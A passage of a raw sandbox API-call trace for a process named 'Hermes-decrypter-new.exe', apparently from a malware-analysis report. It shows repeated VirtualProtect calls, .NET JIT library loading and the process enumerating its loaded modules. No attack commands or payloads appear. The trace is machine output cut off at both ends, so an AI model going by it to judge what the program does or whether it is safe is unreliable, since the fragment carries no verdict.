flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.102] GetCurrentProcess () returned 0xffffffff [0274.103] VirtualProtect (in: lpAddress=0x2e2098c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.103] GetCurrentProcess () returned 0xffffffff [0274.104] VirtualProtect (in: lpAddress=0x2e2098c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.104] GetCurrentProcess () returned 0xffffffff [0274.104] VirtualProtect (in: lpAddress=0x2e209ac, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.104] GetCurrentProcess () returned 0xffffffff [0274.105] VirtualProtect (in: lpAddress=0x2e209ac, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.105] GetCurrentProcess () returned 0xffffffff [0274.106] VirtualProtect (in: lpAddress=0x2e209bc, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.106] GetCurrentProcess () returned 0xffffffff [0274.106] VirtualProtect (in: lpAddress=0x2e209bc, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.106] GetCurrentProcess () returned 0xffffffff [0274.107] VirtualProtect (in: lpAddress=0x2e20da8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.107] GetCurrentProcess () returned 0xffffffff [0274.108] VirtualProtect (in: lpAddress=0x2e20da8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.108] GetCurrentProcess () returned 0xffffffff [0274.108] VirtualProtect (in: lpAddress=0x2e20db0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.108] GetCurrentProcess () returned 0xffffffff [0274.109] VirtualProtect (in: lpAddress=0x2e20db0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.109] GetCurrentProcess () returned 0xffffffff [0274.109] VirtualProtect (in: lpAddress=0x2e20db8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.110] GetCurrentProcess () returned 0xffffffff [0274.110] VirtualProtect (in: lpAddress=0x2e20db8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.110] GetCurrentProcess () returned 0xffffffff [0274.111] VirtualProtect (in: lpAddress=0x2e20e68, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.111] GetCurrentProcess () returned 0xffffffff [0274.111] VirtualProtect (in: lpAddress=0x2e20e68, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.111] GetCurrentProcess () returned 0xffffffff [0274.112] VirtualProtect (in: lpAddress=0x2e20e78, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.112] GetCurrentProcess () returned 0xffffffff [0274.113] VirtualProtect (in: lpAddress=0x2e20e78, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.113] GetCurrentProcess () returned 0xffffffff [0274.113] VirtualProtect (in: lpAddress=0x2e20e90, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.113] GetCurrentProcess () returned 0xffffffff [0274.114] VirtualProtect (in: lpAddress=0x2e20e90, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.114] GetCurrentProcess () returned 0xffffffff [0274.115] VirtualProtect (in: lpAddress=0x2e20f08, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.115] GetCurrentProcess () returned 0xffffffff [0274.115] VirtualProtect (in: lpAddress=0x2e20f08, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.116] GetCurrentProcess () returned 0xffffffff [0274.116] VirtualProtect (in: lpAddress=0x2e20f80, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.116] GetCurrentProcess () returned 0xffffffff [0274.117] VirtualProtect (in: lpAddress=0x2e20f80, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.117] GetCurrentProcess () returned 0xffffffff [0274.118] VirtualProtect (in: lpAddress=0x2e2c1b8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.118] GetCurrentProcess () returned 0xffffffff [0274.119] VirtualProtect (in: lpAddress=0x2e2c1b8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.119] GetCurrentProcess () returned 0xffffffff [0274.120] VirtualProtect (in: lpAddress=0x2e2fc20, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.120] GetCurrentProcess () returned 0xffffffff [0274.120] VirtualProtect (in: lpAddress=0x2e2fc20, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.121] GetCurrentProcess () returned 0xffffffff [0274.121] VirtualProtect (in: lpAddress=0x2e2fc30, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.121] GetCurrentProcess () returned 0xffffffff [0274.122] VirtualProtect (in: lpAddress=0x2e2fc30, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.122] GetCurrentProcess () returned 0xffffffff [0274.123] VirtualProtect (in: lpAddress=0x2e2fc40, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.123] GetCurrentProcess () returned 0xffffffff [0274.123] VirtualProtect (in: lpAddress=0x2e2fc40, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.124] GetCurrentProcess () returned 0xffffffff [0274.124] VirtualProtect (in: lpAddress=0x2e2fc50, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.124] GetCurrentProcess () returned 0xffffffff [0274.125] VirtualProtect (in: lpAddress=0x2e2fc50, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.125] GetCurrentProcess () returned 0xffffffff [0274.125] VirtualProtect (in: lpAddress=0x2e2fc60, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.126] GetCurrentProcess () returned 0xffffffff [0274.126] VirtualProtect (in: lpAddress=0x2e2fc60, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.126] GetCurrentProcess () returned 0xffffffff [0274.127] VirtualProtect (in: lpAddress=0x2e2fc70, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.127] GetCurrentProcess () returned 0xffffffff [0274.127] VirtualProtect (in: lpAddress=0x2e2fc70, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.127] GetCurrentProcess () returned 0xffffffff [0274.128] VirtualProtect (in: lpAddress=0x2e2fc80, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.128] GetCurrentProcess () returned 0xffffffff [0274.129] VirtualProtect (in: lpAddress=0x2e2fc80, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.129] GetCurrentProcess () returned 0xffffffff [0274.129] VirtualProtect (in: lpAddress=0x2e2fc90, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.129] GetCurrentProcess () returned 0xffffffff [0274.130] VirtualProtect (in: lpAddress=0x2e2fc90, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.130] GetCurrentProcess () returned 0xffffffff [0274.131] VirtualProtect (in: lpAddress=0x2e2fca0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.131] GetCurrentProcess () returned 0xffffffff [0274.131] VirtualProtect (in: lpAddress=0x2e2fca0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.132] GetCurrentProcess () returned 0xffffffff [0274.132] VirtualProtect (in: lpAddress=0x2e2fcc0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.132] GetCurrentProcess () returned 0xffffffff [0274.133] VirtualProtect (in: lpAddress=0x2e2fcc0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.133] GetCurrentProcess () returned 0xffffffff [0274.133] VirtualProtect (in: lpAddress=0x2e2fcd0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.134] GetCurrentProcess () returned 0xffffffff [0274.134] VirtualProtect (in: lpAddress=0x2e2fcd0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.134] GetCurrentProcess () returned 0xffffffff [0274.135] VirtualProtect (in: lpAddress=0x2e2fcd8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.135] GetCurrentProcess () returned 0xffffffff [0274.135] VirtualProtect (in: lpAddress=0x2e2fcd8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.135] GetCurrentProcess () returned 0xffffffff [0274.136] VirtualProtect (in: lpAddress=0x2e2fce0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.136] GetCurrentProcess () returned 0xffffffff [0274.137] VirtualProtect (in: lpAddress=0x2e2fce0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.137] GetCurrentProcess () returned 0xffffffff [0274.137] VirtualProtect (in: lpAddress=0x2e2fd00, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.137] GetCurrentProcess () returned 0xffffffff [0274.138] VirtualProtect (in: lpAddress=0x2e2fd00, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.138] GetCurrentProcess () returned 0xffffffff [0274.139] VirtualProtect (in: lpAddress=0x2e2fd10, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.139] GetCurrentProcess () returned 0xffffffff [0274.139] VirtualProtect (in: lpAddress=0x2e2fd10, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.139] GetCurrentProcess () returned 0xffffffff [0274.140] VirtualProtect (in: lpAddress=0x2e2fd30, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.140] GetCurrentProcess () returned 0xffffffff [0274.141] VirtualProtect (in: lpAddress=0x2e2fd30, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.141] GetCurrentProcess () returned 0xffffffff [0274.141] VirtualProtect (in: lpAddress=0x2e2fd40, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.141] GetCurrentProcess () returned 0xffffffff [0274.142] VirtualProtect (in: lpAddress=0x2e2fd40, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.142] GetCurrentProcess () returned 0xffffffff [0274.142] VirtualProtect (in: lpAddress=0x2e2fd50, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.143] GetCurrentProcess () returned 0xffffffff [0274.143] VirtualProtect (in: lpAddress=0x2e2fd50, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.143] GetCurrentProcess () returned 0xffffffff [0274.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorjit.dll", cchWideChar=12, lpMultiByteStr=0x19d244, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorjit.dlleà§\x02\x06\r\x83\x8cðùBsHç\x19", lpUsedDefaultChar=0x0) returned 12 [0274.214] LoadLibraryA (lpLibFileName="mscorjit.dll") returned 0x0 [0274.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clrjit.dll", cchWideChar=10, lpMultiByteStr=0x19d248, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clrjit.dll§\x02\x06\r\x83\x8cðùBsHç\x19", lpUsedDefaultChar=0x0) returned 10 [0274.223] LoadLibraryA (lpLibFileName="clrjit.dll") returned 0x71ea0000 [0274.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="getJit", cchWideChar=6, lpMultiByteStr=0x19d244, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="getJit§\x02\x06\r\x83\x8cðùBsHç\x19", lpUsedDefaultChar=0x0) returned 6 [0274.229] GetProcAddress (hModule=0x71ea0000, lpProcName="getJit") returned 0x71ef3d60 [0274.302] GetCurrentProcessId () returned 0xe08 [0274.302] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe08) returned 0xec [0274.302] EnumProcessModules (in: hProcess=0xec, lphModule=0x2f3e11c, cb=0x100, lpcbNeeded=0x19d260 | out: lphModule=0x2f3e11c, lpcbNeeded=0x19d260) returned 1 [0274.302] GetModuleInformation (in: hProcess=0xec, hModule=0x400000, lpmodinfo=0x2f3e25c, cb=0xc | out: lpmodinfo=0x2f3e25c*(lpBaseOfDll=0x400000, SizeOfImage=0x8d5000, EntryPoint=0x839a87)) returned 1 [0274.302] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.303] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x400000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="Hermes-decrypter-new.exe") returned 0x18 [0274.303] CoTaskMemFree (pv=0xd7fb50) [0274.303] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.303] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x400000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\FD1HVy\\Hermes-decrypter-new.exe" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe")) returned 0x22 [0274.303] CoTaskMemFree (pv=0xd7fb50) [0274.303] GetModuleInformation (in: hProcess=0xec, hModule=0x77260000, lpmodinfo=0x2f403a8, cb=0xc | out: lpmodinfo=0x2f403a8*(lpBaseOfDll=0x77260000, SizeOfImage=0x18e000, EntryPoint=0x0)) returned 1 [0274.303] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.303] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x77260000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0274.303] CoTaskMemFree (pv=0xd7fb50) [0274.303] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.303] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x77260000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")) returned 0x1d [0274.304] CoTaskMemFree (pv=0xd7fb50) [0274.304] GetModuleInformation (in: hProcess=0xec, hModule=0x77190000, lpmodinfo=0x2f424ac, cb=0xc | out: lpmodinfo=0x2f424ac*(lpBaseOfDll=0x77190000, SizeOfImage=0xd0000, EntryPoint=0x771a06a0)) returned 1 [0274.304] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.304] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x77190000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="KERNEL32.DLL") returned 0xc [0274.304] CoTaskMemFree (pv=0xd7fb50) [0274.304] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.304] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x77190000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\KERNEL32.DLL" (normalized: "c:\\windows\\system32\\kernel32.dll")) returned 0x20 [0274.304] CoTaskMemFree (pv=0xd7fb50) [0274.304] GetModuleInformation (in: hProcess=0xec, hModule=0x76850000, lpmodinfo=0x2f445c0, cb=0xc | out: lpmodinfo=0x2f445c0*(lpBaseOfDll=0x76850000, SizeOfImage=0x1c2000, EntryPoint=0x7693ff30)) returned 1 [0274.304] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.323] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x76850000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0274.323] CoTaskMemFree (pv=0xd7fb50) [0274.323] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.323] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x76850000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\KERNELBASE.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")) returned 0x22 [0274.323] CoTaskMemFree (pv=0xd7fb50) [0274.323] GetModuleInformation (in: hProcess=0xec, hModule=0x73c80000, lpmodinfo=0x2f466dc, cb=0xc | out: lpmodinfo=0x2f466dc*(lpBaseOfDll=0x73c80000, SizeOfImage=0x93000, EntryPoint=0x73cb4270)) returned 1 [0274.323] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.323] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x73c80000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="apphelp.dll") returned 0xb [0274.323] CoTaskMemFree (pv=0xd7fb50) [0274.324] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.324] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x73c80000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")) returned 0x1f [0274.324] CoTaskMemFree (pv=0xd7fb50) [0274.324] GetModuleInformation (in: hProcess=0xec, hModule=0x74ab0000, lpmodinfo=0x2f48814, cb=0xc | out: lpmodinfo=0x2f48814*(lpBaseOfDll=0x74ab0000, SizeOfImage=0xf3000, EntryPoint=0x74aea100)) returned 1 [0274.324] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.324] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74ab0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0274.324] CoTaskMemFree (pv=0xd7fb50) [0274.324] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.324] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74ab0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")) returned 0x1d [0274.324] CoTaskMemFree (pv=0xd7fb50) [0274.324] GetModuleInformation (in: hProcess=0xec, hModule=0x74ff0000, lpmodinfo=0x2f4a918, cb=0xc | out: lpmodinfo=0x2f4a918*(lpBaseOfDll=0x74ff0000, SizeOfImage=0x238000, EntryPoint=0x7510e060)) returned 1 [0274.324] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.324] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74ff0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="combase.dll") returned 0xb [0274.324] CoTaskMemFree (pv=0xd7fb50) [0274.325] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.325] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74ff0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")) returned 0x1f [0274.325] CoTaskMemFree (pv=0xd7fb50) [0274.325] GetModuleInformation (in: hProcess=0xec, hModule=0x74190000, lpmodinfo=0x2f4ca24, cb=0xc | out: lpmodinfo=0x2f4ca24*(lpBaseOfDll=0x74190000, SizeOfImage=0x118000, EntryPoint=0x741ba3c0)) returned 1 [0274.325] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.325] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74190000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="ucrtbase.dll") returned 0xc [0274.325] CoTaskMemFree (pv=0xd7fb50) [0274.325] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.325] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74190000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")) returned 0x20 [0274.325] CoTaskMemFree (pv=0xd7fb50) [0274.325] GetModuleInformation (in: hProcess=0xec, hModule=0x74960000, lpmodinfo=0x2f4eb38, cb=0xc | out: lpmodinfo=0x2f4eb38*(lpBaseOfDll=0x74960000, SizeOfImage=0xc0000, EntryPoint=0x7498fb20)) returned 1 [0274.325] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.325] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74960000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0274.325] CoTaskMemFree (pv=0xd7fb50) [0274.326] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.326] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74960000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\RPCRT4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")) returned 0x1e [0274.326] CoTaskMemFree (pv=0xd7fb50) [0274.326] GetModuleInformation (in: hProcess=0xec, hModule=0x73d30000, lpmodinfo=0x2f50c90, cb=0xc | out: lpmodinfo=0x2f50c90*(lpBaseOfDll=0x73d30000, SizeOfImage=0x20000, EntryPoint=0x73d3c9a0)) returned 1 [0274.326] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.326] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x73d30000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0274.326] CoTaskMemFree (pv=0xd7fb50) [0274.326] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.326] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x73d30000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\SspiCli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")) returned 0x1f [0274.326] CoTaskMemFree (pv=0xd7fb50) [0274.326] GetModuleInformation (in: hProcess=0xec, hModule=0x73d20000, lpmodinfo=0x2f52d9c, cb=0xc | out: lpmodinfo=0x2f52d9c*(lpBaseOfDll=0x73d20000, SizeOfImage=0xa000, EntryPoint=0x73d22a00)) returned 1 [0274.326] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.326] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x73d20000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0274.327] CoTaskMemFree (pv=0xd7fb50) [0274.327] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.327] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x73d20000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\CRYPTBASE.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")) returned 0x21 [0274.327] CoTaskMemFree (pv=0xd7fb50) [0274.327] GetModuleInformation (in: hProcess=0xec, hModule=0x74ea0000, lpmodinfo=0x2f54eb0, cb=0xc | out: lpmodinfo=0x2f54eb0*(lpBaseOfDll=0x74ea0000, SizeOfImage=0x57000, EntryPoint=0x74edde40)) returned 1 [0274.327] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.327] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74ea0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="bcryptPrimitives.dll") returned 0x14 [0274.327] CoTaskMemFree (pv=0xd7fb50) [0274.327] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.327] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74ea0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\bcryptPrimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")) returned 0x28 [0274.327] CoTaskMemFree (pv=0xd7fb50) [0274.327] GetModuleInformation (in: hProcess=0xec, hModule=0x74f00000, lpmodinfo=0x2f56fe4, cb=0xc | out: lpmodinfo=0x2f56fe4*(lpBaseOfDll=0x74f00000, SizeOfImage=0x41000, EntryPoint=0x74f13400)) returned 1 [0274.327] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.327] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74f00000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0274.328] CoTaskMemFree (pv=0xd7fb50) [0274.328] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.328] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74f00000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")) returned 0x1f [0274.328] CoTaskMemFree (pv=0xd7fb50) [0274.328] GetModuleInformation (in: hProcess=0xec, hModule=0x74850000, lpmodinfo=0x2f590f0, cb=0xc | out: lpmodinfo=0x2f590f0*(lpBaseOfDll=0x74850000, SizeOfImage=0x21000, EntryPoint=0x74856900)) returned 1 [0274.328] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.328] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74850000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0274.328] CoTaskMemFree (pv=0xd7fb50) [0274.328] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.328] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74850000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\GDI32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")) returned 0x1d [0274.328] CoTaskMemFree (pv=0xd7fb50) [0274.328] GetModuleInformation (in: hProcess=0xec, hModule=0x73fb0000, lpmodinfo=0x2f5b1f4, cb=0xc | out: lpmodinfo=0x2f5b1f4*(lpBaseOfDll=0x73fb0000, SizeOfImage=0x158000, EntryPoint=0x7406a9c0)) returned 1 [0274.328] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.328] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x73fb0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="gdi32full.dll") returned 0xd 